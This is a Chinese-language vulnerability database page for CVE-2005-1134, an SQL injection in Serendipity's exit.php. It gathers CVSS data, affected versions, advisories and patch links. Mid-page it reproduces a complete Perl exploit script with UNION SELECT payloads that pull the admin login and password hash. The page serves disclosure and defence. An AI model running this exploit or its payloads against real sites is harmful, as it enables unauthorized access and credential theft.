CVE-2005-1134
CVSS7.5
发布时间 :2005-04-13 00:00:00
修订时间 :2008-09-05 16:48:18
NMCOES    

[原文]SQL injection vulnerability in exit.php for Serendipity 0.8 and earlier allows remote attackers to execute arbitrary SQL commands via the (1) url_id or (2) entry_id parameters.


[CNNVD]S9Y Serendipity Exit.PHP SQL注入漏洞(CNNVD-200504-032)

        Serendipity是一个采用PHP实现的 weblog/blog系统。它功能丰富,符合标准,基于BSDLicense开源。它的特点包括:WYSIWYG与HTML编辑;内置强大的媒体数据库;多作者,可配置的权限/用户组系统;支持Threadedcomment,嵌套分类;支持多种语言;丰富插件与模板库;强大的垃圾过滤功能;能够嵌到现有的Web页面中;支持XML-RPC;支持多种数据库SQLite,PostgreSQL,MySQL,MySQLi;支持从其它Blog系统(WordPress,Textpattern,MoveableType,bblog,...)导入的功能。
        Serendipity 0.8及之前版本的exit.php存在SQL注入漏洞。 远程攻击者可以借助(1)url_id或(2)entry_id参数,执行任意的SQL命令。

- CVSS (基础分值)

CVSS分值: 7.5 [严重(HIGH)]
机密性影响: PARTIAL [很可能造成信息泄露]
完整性影响: PARTIAL [可能会导致系统文件被修改]
可用性影响: PARTIAL [可能会导致性能下降或中断资源访问]
攻击复杂度: LOW [漏洞利用没有访问限制 ]
攻击向量: [--]
身份认证: NONE [漏洞利用无需身份认证]

- CPE (受影响的平台与产品)

cpe:/a:s9y:serendipity:0.6_pl2
cpe:/a:s9y:serendipity:0.7_beta4
cpe:/a:s9y:serendipity:0.7_rc1
cpe:/a:s9y:serendipity:0.6
cpe:/a:s9y:serendipity:0.8_beta6
cpe:/a:s9y:serendipity:0.3S9Y Serendipity 0.3
cpe:/a:s9y:serendipity:0.7_beta3
cpe:/a:s9y:serendipity:0.7_beta2
cpe:/a:s9y:serendipity:0.6_rc1
cpe:/a:s9y:serendipity:0.5_pl1
cpe:/a:s9y:serendipity:0.4S9Y Serendipity 0.4
cpe:/a:s9y:serendipity:0.6_rc2
cpe:/a:s9y:serendipity:0.6_pl1
cpe:/a:s9y:serendipity:0.5
cpe:/a:s9y:serendipity:0.8_beta5
cpe:/a:s9y:serendipity:0.7S9Y Serendipity 0.7
cpe:/a:s9y:serendipity:0.7_beta1
cpe:/a:s9y:serendipity:0.6_pl3

- OVAL (用于检测的技术细节)

未找到相关OVAL定义

- 官方数据库链接

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-1134
(官方数据源) MITRE
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2005-1134
(官方数据源) NVD
http://www.cnnvd.org.cn/vulnerability/show/cv_cnnvdid/CNNVD-200504-032
(官方数据源) CNNVD

- 其它链接及资源

http://www.securityfocus.com/bid/13161
(VENDOR_ADVISORY)  BID  13161
http://www.s9y.org/63.html#A9
(VENDOR_ADVISORY)  CONFIRM  http://www.s9y.org/63.html#A9
http://www.s9y.org/5.html
(VENDOR_ADVISORY)  CONFIRM  http://www.s9y.org/5.html
http://secunia.com/advisories/15145
(VENDOR_ADVISORY)  SECUNIA  15145
http://xforce.iss.net/xforce/xfdb/20119
(VENDOR_ADVISORY)  XF  serendipity-urlid-entryid-sql-injection(20119)
http://www.osvdb.org/15542
(VENDOR_ADVISORY)  OSVDB  15542
http://securitytracker.com/id?1013699
(VENDOR_ADVISORY)  SECTRACK  1013699
http://seclists.org/lists/bugtraq/2005/Apr/0195.html
(UNKNOWN)  BUGTRAQ  20050413 serendipity SQL Injection vulnerability

- 漏洞信息

S9Y Serendipity Exit.PHP SQL注入漏洞
高危 SQL注入
2005-04-13 00:00:00 2005-10-20 00:00:00
远程  
        Serendipity是一个采用PHP实现的 weblog/blog系统。它功能丰富,符合标准,基于BSDLicense开源。它的特点包括:WYSIWYG与HTML编辑;内置强大的媒体数据库;多作者,可配置的权限/用户组系统;支持Threadedcomment,嵌套分类;支持多种语言;丰富插件与模板库;强大的垃圾过滤功能;能够嵌到现有的Web页面中;支持XML-RPC;支持多种数据库SQLite,PostgreSQL,MySQL,MySQLi;支持从其它Blog系统(WordPress,Textpattern,MoveableType,bblog,...)导入的功能。
        Serendipity 0.8及之前版本的exit.php存在SQL注入漏洞。 远程攻击者可以借助(1)url_id或(2)entry_id参数,执行任意的SQL命令。

- 公告与补丁

        目前厂商已经发布了升级补丁以修复这个安全问题,补丁下载链接:
        S9Y Serendipity 0.3
        S9Y Serendipity 0.8-beta6 snapshot
        http://www.s9y.org/12.html
        
        S9Y Serendipity 0.4
        S9Y Serendipity 0.8-beta6 snapshot
        http://www.s9y.org/12.html
        S9Y Serendipity 0.5
        S9Y Serendipity 0.8-beta6 snapshot
        http://www.s9y.org/12.html
        
        S9Y Serendipity 0.5 -pl1
        S9Y Serendipity 0.8-beta6 snapshot
        http://www.s9y.org/12.html
        
        S9Y Serendipity 0.6
        S9Y Serendipity 0.8-beta6 snapshot
        http://www.s9y.org/12.html
        
        S9Y Serendipity 0.6 -rc1
        S9Y Serendipity 0.8-beta6 snapshot
        http://www.s9y.org/12.html
        
        S9Y Serendipity 0.6 -pl3
        S9Y Serendipity 0.8-beta6 snapshot
        http://www.s9y.org/12.html
        
        S9Y Serendipity 0.6 -rc2
        S9Y Serendipity 0.8-beta6 snapshot
        http://www.s9y.org/12.html
        
        S9Y Serendipity 0.6 -pl2
        S9Y Serendipity 0.8-beta6 snapshot
        http://www.s9y.org/12.html
        
        S9Y Serendipity 0.6 -pl1
        S9Y Serendipity 0.8-beta6 snapshot
        http://www.s9y.org/12.html
        
        S9Y Serendipity 0.7 -rc1
        S9Y Serendipity 0.8-beta6 snapshot
        http://www.s9y.org/12.html
        
        S9Y Serendipity 0.7 beta1
        S9Y Serendipity 0.8-beta6 snapshot
        http://www.s9y.org/12.html
        
        S9Y Serendipity 0.7 beta3
        S9Y Serendipity 0.8-beta6 snapshot
        http://www.s9y.org/12.html
        
        S9Y Serendipity 0.7
        S9Y Serendipity 0.8-beta6 snapshot
        http://www.s9y.org/12.html
        
        S9Y Serendipity 0.7 -beta4
        S9Y Serendipity 0.8-beta6 snapshot
        http://www.s9y.org/12.html
        
        S9Y Serendipity 0.7 -beta2
        S9Y Serendipity 0.8-beta6 snapshot
        http://www.s9y.org/12.html
        
        S9Y Serendipity 0.8 -beta6
        S9Y Serendipity 0.8-beta6 snapshot
        http://www.s9y.org/12.html
        
        S9Y Serendipity 0.8 -beta5
        S9Y Serendipity 0.8-beta6 snapshot
        http://www.s9y.org/12.html

- 漏洞信息 (939)

Serendipity 0.8beta4 exit.php SQL Injection Exploit (EDBID:939)
php webapps
2005-04-13 Verified
0 kre0n
N/A [点击下载]
#!/usr/bin/perl
# Serendipity 0.8beta4 exit.php SQL Injection exploit
# (c) ADZ Security Team 2004-2005
# (c) kreon 2005
# http://adz.void.ru/
# kre0n@mail.ru
# Public :)

print "\n\n";
print "# Serendipity 0.8beta4 exit.php SQL Injection exploit\n";
print "# (C) ADZ Security Team 2004-2005\n";
print "# (C) kreon 2005\n";

use IO::Socket;
use Getopt::Std;

getopt("h:d:p:t:");

$opt_p ||= 80;
$opt_d ||= "/";
$opt_t ||= "serendipity_";

if(!$opt_h) {
    die("# Usage: $0 -h <host> [-d <dir>] [-p <port>] [-t table_prefix]\n");
}

$sqlpass = "?entry_id=1&url_id=1%20UNION%20SELECT%20password%20FROM%20".$opt_t."authors%20WHERE%20userlevel=255/*";
$sqllogin = "?entry_id=1&url_id=1%20UNION%20SELECT%20username%20FROM%20".$opt_t."authors%20WHERE%20userlevel=255/*";

print "# Host: $opt_h\n";
print "# Dir: $opt_d\n";
print "# Port: $opt_p\n";
print "# Prefix: $opt_t\n";

$Q1 = "GET ".$opt_d."/exit.php".$sqllogin." HTTP/1.0\n";
$Q1 .= "Host: ".$opt_h."\n\n";

$Q2 = "GET ".$opt_d."/exit.php".$sqlpass." HTTP/1.0\n";
$Q2 .= "Host: ".$opt_h."\n\n";

$s = IO::Socket::INET->new(Proto => 'tcp', PeerAddr => $opt_h, PeerPort => $opt_p) or die("Can't connect!");
$s->send($Q1);
$s->recv($txt, 1024);
if($txt =~ m/location: (\S+)/i) {
    $login =  $1;
}

$s = IO::Socket::INET->new(Proto=>'tcp', PeerAddr => $opt_h, PeerPort => $opt_p) or die("Can't connect!");
$s->send($Q2);
$s->recv($txt, 1024);
if($txt =~ m/location: (\S+)/i) {
    $pass = $1;
}
if(!$login || !$pass || $login =~ m/http:\/\//i || $pass =~ m/http:\/\//i) {
    print "# Failed :(\n";
    exit;
}

print "# Succeed :)\n";
print "# Login: $login\n";
print "# Pass Hash: $pass\n";
print "\n";

# milw0rm.com [2005-04-13]
		

- 漏洞信息

15542
Serendipity exit.php Multiple Parameter SQL Injection
Remote / Network Access Information Disclosure, Input Manipulation
Loss of Confidentiality, Loss of Integrity
Exploit Public Vendor Verified

- 漏洞描述

Serendipity contains a flaw that may allow an attacker to inject arbitrary SQL queries. The issue is due to the $_GET['url_id'] or $_GET['entry_id'] variables in the exit.php script not being properly sanitized and may allow an attacker to inject or manipulate SQL queries.

- 时间线

2005-04-13 Unknow
2005-04-13 Unknow

- 解决方案

Currently, there are no known upgrades, patches, or workarounds available to correct this issue.

- 相关参考

- 漏洞作者

- 漏洞信息

S9Y Serendipity Exit.PHP SQL injection Vulnerability
Input Validation Error 13161
Yes No
2005-04-13 12:00:00 2009-07-12 12:56:00
Discovery of this issue is credited to kreon <kre0n@mail.ru>.

- 受影响的程序版本

S9Y Serendipity 0.8 -beta6
S9Y Serendipity 0.8 -beta5
S9Y Serendipity 0.7.1
S9Y Serendipity 0.7 beta3
S9Y Serendipity 0.7 beta1
S9Y Serendipity 0.7 -rc1
S9Y Serendipity 0.7 -beta4
S9Y Serendipity 0.7 -beta2
S9Y Serendipity 0.7
S9Y Serendipity 0.6 -rc2
S9Y Serendipity 0.6 -rc1
S9Y Serendipity 0.6 -pl3
S9Y Serendipity 0.6 -pl2
S9Y Serendipity 0.6 -pl1
S9Y Serendipity 0.6
S9Y Serendipity 0.5 -pl1
S9Y Serendipity 0.5
S9Y Serendipity 0.4
S9Y Serendipity 0.3
S9Y Serendipity 0.8 -beta6 Snapshot
S9Y Serendipity 0.8 -beta6
S9Y Serendipity 0.7.1

- 不受影响的程序版本

S9Y Serendipity 0.8 -beta6 Snapshot
S9Y Serendipity 0.8 -beta6
S9Y Serendipity 0.7.1

- 漏洞讨论

Serendipity is affected by an SQL injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input to the 'exit.php' script before using it in an SQL query.

This vulnerability could permit remote attackers to pass malicious input to database queries, resulting in modification of query logic or other attacks.

- 漏洞利用

The following exploit is available:

- 解决方案

The vendor has stated this issue has been addressed in Serendipity version 0.7.1, however 0.8 versions of the software are vulnerable. The vendor suggests that all users running a 0.8 release of the software should upgrade to the latest beta release. Please see Serendipity News for further information.


S9Y Serendipity 0.3

S9Y Serendipity 0.4

S9Y Serendipity 0.5

S9Y Serendipity 0.5 -pl1

S9Y Serendipity 0.6

S9Y Serendipity 0.6 -rc1

S9Y Serendipity 0.6 -pl3

S9Y Serendipity 0.6 -rc2

S9Y Serendipity 0.6 -pl2

S9Y Serendipity 0.6 -pl1

S9Y Serendipity 0.7 -rc1

S9Y Serendipity 0.7 beta1

S9Y Serendipity 0.7 beta3

S9Y Serendipity 0.7

S9Y Serendipity 0.7 -beta4

S9Y Serendipity 0.7 -beta2

S9Y Serendipity 0.7.1

S9Y Serendipity 0.8 -beta6

S9Y Serendipity 0.8 -beta5

- 相关参考

 

 

关于SCAP中文社区

SCAP中文社区是国内第一个以SCAP为主题的中文开放社区。了解更多信息,请查阅[关于本站]

版权声明

CVE/CWE/OVAL均为MITRE公司的注册商标,它们的官方数据源均保存在MITRE公司的相关网站